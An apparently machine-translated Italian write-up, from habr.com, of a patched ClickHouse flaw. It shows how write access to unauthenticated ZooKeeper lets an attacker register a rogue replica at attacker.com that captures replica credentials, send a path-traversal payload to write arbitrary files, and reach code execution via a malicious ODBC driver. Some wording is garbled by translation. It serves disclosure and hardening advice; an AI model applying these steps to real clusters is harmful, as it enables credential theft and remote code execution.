Perché è necessario tenere chiuse le gabbie dello zoo?

Perché è necessario tenere chiuse le gabbie dello zoo?

Questo articolo racconterà la storia di una vulnerabilità molto specifica nel protocollo di replica ClickHouse e mostrerà anche come espandere la superficie di attacco.

ClickHouse è un database per l'archiviazione di grandi volumi di dati, molto spesso utilizzando più di una replica. Il clustering e la replica in ClickHouse sono basati su questo Custode dello zoo di Apache (ZK) e richiedono diritti di scrittura.

L'installazione ZK predefinita non richiede l'autenticazione, quindi migliaia di server ZK utilizzati per configurare Kafka, Hadoop e ClickHouse sono disponibili pubblicamente.

Per ridurre la superficie di attacco, dovresti sempre configurare l'autenticazione e l'autorizzazione durante l'installazione di ZooKeeper

Esistono ovviamente alcune deserializzazioni Java basate su 0day, ma immagina che un utente malintenzionato possa leggere e scrivere su ZooKeeper, utilizzato per la replica di ClickHouse.

Se configurato in modalità cluster, ClickHouse supporta query distribuite DDL, passando per ZK - per loro i nodi vengono creati nel foglio /clickhouse/task_queue/ddl.

Ad esempio, crei un nodo /clickhouse/task_queue/ddl/query-0001 con contenuto:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

successivamente, la tabella di test verrà eliminata sui server cluster host1 e host2. DDL supporta anche l'esecuzione di query CREATE/ALTER/DROP.

Sembra spaventoso? Ma dove può un utente malintenzionato ottenere gli indirizzi dei server?

Replica ClickHouse funziona a livello delle singole tabelle, in modo che quando viene creata una tabella in ZK, viene specificato un server che sarà responsabile dello scambio di metadati con le repliche. Ad esempio, quando si esegue una richiesta (ZK deve essere configurato, capXX - nome della replica, foobar - nome della tabella):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

verranno creati i nodi colonne и metadati.

Contenuto /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

È possibile unire i dati da questo cluster? Sì, se la porta di replica (TCP/9009) sul server chXX-address il firewall non verrà chiuso e l'autenticazione per la replica non verrà configurata. Come bypassare l'autenticazione?

Un utente malintenzionato può creare una nuova replica in ZK semplicemente copiandone il contenuto /clickhouse/tables/01-01/foobar/replicas/chXX e cambiando il significato host.

Contenuto /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Quindi devi dire alle altre repliche che c'è un nuovo blocco di dati sul server dell'aggressore che devono prendere: viene creato un nodo in ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX contatore a crescita monotona, che dovrebbe essere maggiore dell'ultimo nel registro eventi):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

dove source_replica — il nome della replica dell'aggressore creata nella fase precedente, blocco_id — identificatore del blocco dati, ottenere - comando "ottieni blocco" (e ecco i comandi per altre operazioni).

Successivamente, ciascuna replica legge un nuovo evento nel registro e si dirige verso un server controllato dall'aggressore per ricevere un blocco di dati (il protocollo di replica è binario, in esecuzione su HTTP). server attacker.com riceveranno richieste:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

dove XXX sono i dati di autenticazione per la replica. In alcuni casi può trattarsi di un account con accesso al database tramite il protocollo principale ClickHouse e il protocollo HTTP. Come hai visto, la superficie di attacco diventa estremamente ampia perché ZooKeeper, utilizzato per la replica, è stato lasciato senza l'autenticazione configurata.

Diamo un'occhiata alla funzione di ottenere un blocco di dati da una replica, è scritta con la piena certezza che tutte le repliche siano sotto il controllo adeguato e che vi sia fiducia tra di loro.

Perché è necessario tenere chiuse le gabbie dello zoo?
codice di elaborazione della replica

La funzione legge un elenco di file, quindi i loro nomi, dimensioni, contenuti e quindi li scrive nel file system. Vale la pena descrivere separatamente come vengono archiviati i dati nel file system.

Ci sono diverse sottodirectory in /var/lib/clickhouse (directory di archiviazione predefinita dal file di configurazione):

bandiere - directory per la registrazione bandiere, utilizzato nel ripristino dopo la perdita di dati;
tmp — directory per la memorizzazione di file temporanei;
file_utente — le operazioni con i file nelle richieste sono limitate a questa directory (INTO OUTFILE e altre);
metadati — file SQL con descrizioni di tabelle;
preprocessed_configs - file di configurazione derivati ​​elaborati da /etc/clickhouse-server;
dati - la directory vera e propria con i dati stessi, in questo caso per ogni database viene semplicemente creata una sottodirectory separata (ad es /var/lib/clickhouse/data/default).

Per ogni tabella viene creata una sottodirectory nella directory del database. Ogni colonna è un file separato a seconda formato del motore. Ad esempio per un tavolo foobarcreato da un utente malintenzionato, verranno creati i seguenti file:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

La replica prevede di ricevere file con gli stessi nomi durante l'elaborazione di un blocco di dati e non li convalida in alcun modo.

Il lettore attento probabilmente avrà già sentito parlare della non sicura concatenazione di nome_file in una funzione WriteBufferFromFile. Sì, ciò consente a un utente malintenzionato di scrivere contenuti arbitrari su qualsiasi file su FS con diritti utente clickhouse. Per fare ciò, la replica controllata dall'attaccante deve restituire la seguente risposta alla richiesta (sono state aggiunte interruzioni di riga per facilitare la comprensione):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

e dopo la concatenazione ../../../../../../../../../tmp/pwned il file verrà scritto /tmp/pwned con contenuto ciao dal guardiano dello zoo.

Sono disponibili diverse opzioni per trasformare la capacità di scrittura dei file in esecuzione di codice remoto (RCE).

Dizionari esterni in RCE

Nelle versioni precedenti, la directory con le impostazioni di ClickHouse veniva archiviata con i diritti utente clickhouse predefinito. I file di impostazioni sono file XML che il servizio legge all'avvio e quindi li memorizza nella cache /var/lib/clickhouse/preprocessed_configs. Quando si verificano cambiamenti, vengono riletti. Se hai accesso a /etc/clickhouse-server un utente malintenzionato può crearne uno proprio dizionario esterno tipo eseguibile e quindi eseguire codice arbitrario. Le versioni attuali di ClickHouse non forniscono diritti per impostazione predefinita, ma se il server venisse aggiornato gradualmente, tali diritti potrebbero rimanere. Se supporti un cluster ClickHouse, controlla i diritti sulla directory delle impostazioni, deve appartenere all'utente root.

Da ODBC a RCE

Quando si installa un pacchetto, viene creato un utente clickhouse, ma la sua directory home non viene creata /nonexistent. Tuttavia, quando si utilizzano dizionari esterni o per altri motivi, gli amministratori creano una directory /nonexistent e dare all'utente clickhouse accesso per scrivervi (SSZB! ca. traduttore).

Supporta ClickHouse ODBC e può connettersi ad altri database. In ODBC è possibile specificare il percorso della libreria dei driver del database (.so). Le versioni precedenti di ClickHouse ti consentivano di farlo direttamente nel gestore della richiesta, ma ora è stato aggiunto un controllo più rigoroso della stringa di connessione odbc-bridge, quindi non è più possibile specificare il percorso del driver dalla richiesta. Ma un utente malintenzionato può scrivere nella directory home sfruttando la vulnerabilità sopra descritta?

Creiamo un file ~/.odbc.ini con contenuti come questo:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

poi all'avvio SELECT * FROM odbc('DSN=lalala', 'test', 'test'); la libreria verrà caricata test.so e ho ricevuto RCE (grazie buglloc per la mancia).

Queste e altre vulnerabilità sono state corrette nella versione ClickHouse 19.14.3. Prenditi cura della tua ClickHouse e ZooKeepers!

Fonte: habr.com

Aggiungi un commento